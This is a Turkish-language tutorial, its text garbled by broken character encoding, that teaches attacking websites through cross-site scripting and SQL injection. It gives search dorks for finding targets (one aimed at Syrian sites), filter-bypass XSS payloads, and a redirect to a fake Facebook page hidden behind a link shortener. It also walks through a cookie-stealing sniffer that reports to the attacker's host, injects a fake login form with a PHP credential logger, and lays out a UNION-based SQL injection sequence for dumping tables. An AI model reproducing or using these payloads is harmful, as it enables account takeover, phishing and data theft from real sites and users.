49

Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Embed Size (px)

DESCRIPTION

Web Güvenlik Zaafiyetlerinin bulunumu ve kullanımını geniş olarak ele aldım. İçerik: SQL İnjection ve çeşitleri XSS ve çeşitleri LFI RFI CSRF XSRF

Citation preview

Page 1: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Oumlnsoumlz Merhabalar

Bu makalemizde Web Guumlvenliğini tehdit eden guumlvenlik zafiyetlerini ayrıntılı olarak tanıyacağızAyrıcabypass edilmesinden soumlz konusu accedilığın kullanımından neler yapılabileceğinden ve daha birccedilok şeyden

bahsedeceğim Oumlncelikle şunu belirtmek isterim siber duumlnyada hiccedil bir zaman 100 guumlvenlik diye bir terimyoktur Her ne kadar guumlvenlik oumlnlemi alırsanız alın bir web sitesinin Network ağının veya kendi

guumlvenliğinizi 100 olarak sağlayamazsınız Oumlncelikle Web Applicationrsquos (Web Uygulama) teriminitanıyalım

Web Applicationrsquos Web Uygulamalarının tuumlmuumlnuumln iccedilerisinde bulunduğu bir yapıdır(SQL İnjection XSS (Cross Site Scripting) LFI RFI XSRFCSRF)Biz bu makalede bunları ve bunlar gibi niceuygulamaları ele alacağız Makalemizin sonunda uumlmid ederim ki ilgi alanı web olanolmayan

arkadaşlarımızın ilgisi ve ilimi daha da artarak yuumlkselecektirİlk olarak ana başlıklarımızı ve yanbaşlıklarımızı tanıyalım

XSS

1-Cross Site Scripting Nedir

Kelime manası ldquoCcedilapraz Kod Ccedilalıştırmakrdquo dırTehlikeli bir accedilık olduğu gibi ccedilok basit bir zafiyettirCcedilokbuumlyuumlk sistemlerde bile rastlanabilen bir tuumlrrsquoduumlr

2-Cross Site Scripting Hangi Mantığa Dayalıdır

Web Sayfalarında oturum accedilarken ldquoBeni Anımsardquo ldquoOturumumu Suumlrekli Accedilık Tutrdquo şeklindeseccedileneklerle karşılaşırızBu seccedileneklere tıkladıktan sonra oturum accediltığımızda Sistem tarafındanbilgisayarımıza ldquoCookierdquo diye tabir ettiğimiz kuumlccediluumlk metin dosyaları saklanırBunun sebebi o Web

sayfasına bir dahaki ziyaretimizde bizi tanıması ve bizden giriş iccedilin kullanıcı adı ve şifreistememesidirXSS Accedilığının mantığı da buna dayalıdırBir Web Sayfasında XSS Zaafiyeti bulup o

Web Sayfasına uumlye olan kişilerin oturum bilgilerini yani Cookielerini ccedilalıp Cookie değişikliğine sebepolup hesabı ele geccedilirmektir

3-Cross Site Scripting Accedilığı İccedilin Lazım Olan Metaryeller

Bir Web sayfasında XSS accedilığının olduğunu anlamak iccedilin bize uygun bir tarayıcı lazımBen MozillaKullanıyorumSiz Dilerseniz Opera Kullanabilirsiniz

Accedilığı bulduktan sonra hedef sitenin Admin şifresine ulaşmak istiyorsak bize lazım olacak şey bir XSSSniffer kurmaktırBunu ilerleyen vakitlerde aşağıda goumlreceğiz

4-Cross Site Scripting İle Neler Yapabiliriz

Yukarıda bahsettiğim gibi bir web sitesinde XSS Zafiyeti bulup o web sitesindeki Kullanıcıların veyasite youmlneticisi olan Adminrsquonin Cookielerini ccedilalıp hesabı ele geccedilirebilirizXSS Accedilığı sadece buna

yaramazJavascript kodlarıyla backlink yapabilir yada kurbana sağlam bir Keylogger yedirebiliriz

5-Cross Site Scripting Accedilığı Nerelerde Bulunur

a-) Search Kutularında

XSS accedilığı bir ccedilok yerde bulunabilirEğer bir XSS Accedilığı arıyorsanız sizlere birkaccedil dork verip onunuumlzerinde denemeler yapabilirsinizDork

inurlrdquosearchphpid=rdquo

inurlrdquoindexphpid=rdquo

inurlrdquokayitphpid=rdquo

bu dorklar ccediloğaltılabilir

Search (Arama) Kutularında id= değeri ziyaretccedili defterleri Kayıt Formları Yorum Formları vbyerlerde de bulunabilirBir Search kutusu duumlşuumlnuumln

Search kutusuna XSS accedilığının olup olmadığını anlamak iccedilin bir alert kodu yazalımltscriptgtalert(ldquoBuralar eskiden hep XSS dirdquo)ltscriptgt

Yazdıktan sonra arama butonuna tıklıyoruz Eğer accedilık mevcut ise ekrana bir alert yansıyacaktır şuşekilde

b-) id= Değerinin Bulunduğu Yerlerde

Bir Web sayfası duumlşuumlnuumln wwwhedefsitecomdegerphpid=3 şeklinde olsunId= değerinin sağtarafında bulunan rakam harf kelime veya her ne ise silip onun yerine accedilık olduğunu anlamamız iccedilin

alert kodunu yazıyoruz

wwwhedefsitecomdegerphpid= ltscriptgtalert(ldquoBuralar Eskiden Hep XSS di rdquo)ltscriptgt

Daha sonra bu goumlnderdiğimiz sorgu ile ekrana alttaki şekilde bir alert yansıyorsa accedilık olduğunu tekraranlıyoruz

c-) Ziyaretccedili Defterlerinde (STORED XSS)

Uumlstte goumlruumllen resim bir sitede bulunan ziyaretccedili defteridirZiyaretccedili Defterleri web sayfaları iccedilin ccediloktehlike arz eden yerlerdirBu zaafiyet tuumlruumlne STORED XSS Zaafiyeti denilirBuraya yazdığımız bir

HTML veya Javascript kodu herkez tarafından goumlruumllebildiği iccedilin sayfada ccedilalıştığında ziyaretccedili defterinegiren herkez tarafından sizin girdiğiniz kod ccedilalışacaktırYani gireceğiniz HTML Meta youmlnlendirme kodu

sayfaya giren şahısları hedef adreslere youmlnlendirecektirBu saldırıya biraz daha suumls katmak iccedilinPhising sayfanıza veya Fake sayfanıza youmlnlendirme yapabilirsinizŞimdi burada goumlruumllen kutucuklara

XSS Alert kodunu yazıyoruz

Eğer accedilık varsa sayfa bizim kodumuzu ccedilalıştıracaktırYani ekrana alert gelecektir

d-) Kayıt Formlarında

Kayıt Formları XSS Accedilığı iccedilin olanak sağlıyorKayıt Formları genellikle Forum sitelerdemevcutturForum siteleri ccediloğunluk olarak hazır sistem kullanırlar(MyBB Vb SMF vs vs)

Eğer bir forumda hazır sistem kuruluysa veya suumlruumlm olarak belirli bir suumlruumlmuuml varsa ki genelde olurExploit sitelerinden O sistemin suumlruumlmuumlnuuml araştırabilir XSS Accedilıkları mevcutsa Exploit yardımıyla accedilığısoumlmuumlrebilirsinizBiz sistem kullanılmayan bir forum sitesinden devam edelim ) Uumlstte goumlruumllduumlğuuml gibi birkayıt formu mevcutBuradaki kutucuklara tıpkı ziyaretccedili formlarındaki gibi XSS Alert kodlarımızı entegre

ediyoruzEğer accedilık mevcutsa alert alınır

e-) Yorum Formlarında

Bu şıkkımızı Cyber-Warriorrsquodan alıntı yaparak anlatayım

Goumlruumllduumlğuuml gibi bir konun altında mevcut olan yorum yazma texti

Burada Mesaj text boumlluumlmuumlne XSS Alert kodumuzu yazıyoruz

Evet XSS Alert kodumuzu da yazdıktan sonra cevap yaz butonuna tıklıyoruzEğer ki XSS Accedilığıolsaydı alert alacaktıkKonuya giren kişiler tarafından da goumlruumllecektiYani bu kod onlar konuya girildiği

esnada ccedilalışacak ve onlara da alert verecektiBuraya ben XSS Alert kodu değil de Fake sayfamayoumlnlendirmesi iccedilin bir kod yazsaydım konuya giren kişiler benim belirlediğim adrese youmlnlenecektiAma

oumlyle bir accedilık olmadığı iccedilin CW lsquode başka kapıya ))

6-Saldırı Anı (Accedilığın Bulunması) - Accedilığın Bypass Edilmesi(Engellerin Aşımı)

Bir Web Sayfası duumlşuumlnuumln wwwhedefcomindexphpid=

XSS Accedilığı arayalım hemen wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt

Yaptık Ekrana alert yansımadıPesmi edeceğiz Hayır tabi ki deHerşeyin bir yolu olduğu gibibununda bir yolu varNormal şartlarda bu sitede accedilık olduğunu duumlşuumlnuumlnAma bize alert vermediBizde

bu accedilığı bypass ederek ekrana alertrsquoımızı alacağızNasıl mı

a-) HTML Bypass Code

Evet ilk bypass youmlntemimizde ltscriptgtalert(ldquoMahserrdquo)ltscriptgt Alert kodumuzu HTML Encodeedecez yani ŞifreleyeceğizHemen bakalım

Ne Yaptık HTML Encoder ile kodumuzu şifreledikŞimdi bu şekilde accedilık analizi yapalım

wwwhedefcomindexphpid= ltscripttype=textjavascriptgtdocumentwrite(rsquou007Fu003Cu0073u0063u0072u0069u0070u0074u003Eu0061u006Cu0065u0072u0074u0028u0022u004Du0061u0068u0073u0065u0072u0022u0029u003Bu003Cu002Fu0073u0063u0072u0069u0070u0074u003Ersquo)ltscriptgt

Bu sefer ekrana alert yansıdığını goumlreceksiniz

b-) Bypass JavaScript Code

Evet bu şıkkımızda ise Javascript kodlarıyla oynayarak bypass youmlntemini gerccedilekleştiricezTekrarhedef site uumlzerine yoğunlaşalım

wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt

Şeklinde giriyoruzAlert alamadıkHemen kodlarla oynayalım farkı goumlrelim

Evet kodumuzla oynadık tekrar hedef site uumlzerinde accedilık analizi yaptığımızda alert alacağız

c-)Normal Bypass

Sıra Geldi Normal Bypass YolunaBu bypass tuumlruumlnde alert kodumuzla pek oynamayapmayacağızAlert kodumuzun başına bir muumldahalede bulunarak alert alacağız

Evet bu şekilde de farklı bir bypass youmlntemi uyguladıkBurada ki ldquogt kodu daha anlaşılır ve koda netlikkatarBu yolla da bir alert aldıkSıra geldi accedilığın uygun kullanımına

7-Saldırı Anı2 (Accedilığın Uygun Kullanımı) -

Cross Site Scripting accedilığını bulduktan sonra en oumlnemli faktoumlrlerden birisi de accedilığın uygunkullanımıdırAccedilığı ne kadar iyi soumlmuumlruumlrseniz sizin iccedilin o derece iyidirXSS Accedilığının sadece site

hacklemek iccedilin değil Siteye uumlye kişilerin bilgilerini almak iccedilin hesapları ele geccedilirmek iccedilin veya bir

kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz

Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde

Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin

Yazacağımız kod şu şekildedir

wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt

Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık

olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=

wwwfakefacebooksayfamcom ltscriptgt

adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır

Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır

8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)

Sniffer Nedir

Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle

değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini

ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır

İşleme başlamadan Sniffer dosyalarını vereyim sizlere

Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn

Hemen kuruluma geccediliyoruz

Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz

httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)

httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz

Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım

httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs

SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz

httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz

Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu

adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir

Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır

Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek

karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml

linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri

httpbenimsitemcomSnifferlogphp adresine gelecektir

9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)

Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde

[Username]= admin UserİnfoCookie[Password]= mahserat

Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk

10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak

Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız

Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız

wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling

centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password

gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt

Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar

fakesayfaphp

ltphp

$login = $_POST[rsquologinrsquo]

$password= $_POST[rsquoPasswordrsquo]

$open = fopen(rsquologhtmrsquo rsquoa+rsquo)

fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo

Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)

gt

fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor

Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz

SQL İnjection1- SQL İnjection Nedir

SQL (Structured Query Language)

SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır

2- SQL İnjectionrsquoun Mantığı Nedir

Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim

Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )

İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz

3- Temel SQL Komutlarını Tanıyalım

SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız

SELECT - Veri seccedilmek iccedilin

CREATE - Tablo yaratmak iccedilin

INSERT - Tablo eklemesi yapmak iccedilin

UPDATE - Veri guumlncelleme

DELETE - Veri silmek

DROP - Tablo silmek

FROM - (- den - dan beri )

WHERE - Nereden neresi nerede

Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var

4- SQL İnjection ile Neler Yapılabilir

SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz

5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır

SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır

SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz

Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz

6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak

Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım

a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)

Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde

Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli

wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor

Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım

SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım

Oumlrnek bir SQL İnjection hatası

Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz

b-) Search Kutularında SQL İnject Accedilığı Aramak

Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız

Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz

c-) Kayıt Formlarında SQL İnject Accedilığı Aramak

Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz

Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız

d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak

Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım

Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş

Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu

e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak

Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)

Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz

ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız

7-Saldırı Anı(SQL Accedilığının Tespiti)

Bir Web Sayfası duumlşuumlnuumln

wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen

wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit

8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)

Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım

Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler

Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim

wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml

wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana

Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz

wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi

wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş

Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz

9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)

Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım

Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım

wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz

-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass

Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen

wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit

wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz

wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur

Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden

10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)

Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz

Oumlnce Group_Concat Fonksiyonunu tanıyalım

Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım

wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--

Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik

table_name = Tablo isimleri

information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri

information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir

information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim

Ekrana yansıyan tablo isimlerine bir bakalım

adminresimleradreslerhizmetler vs vs olsun

bize burada lazım olacak tabloyu seccediliyoruz admin

Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız

Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri

Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--

Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz

Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)

Hexlenecek isim database()

Hexlenmiş Hali 64617461626173652829

Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--

Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz

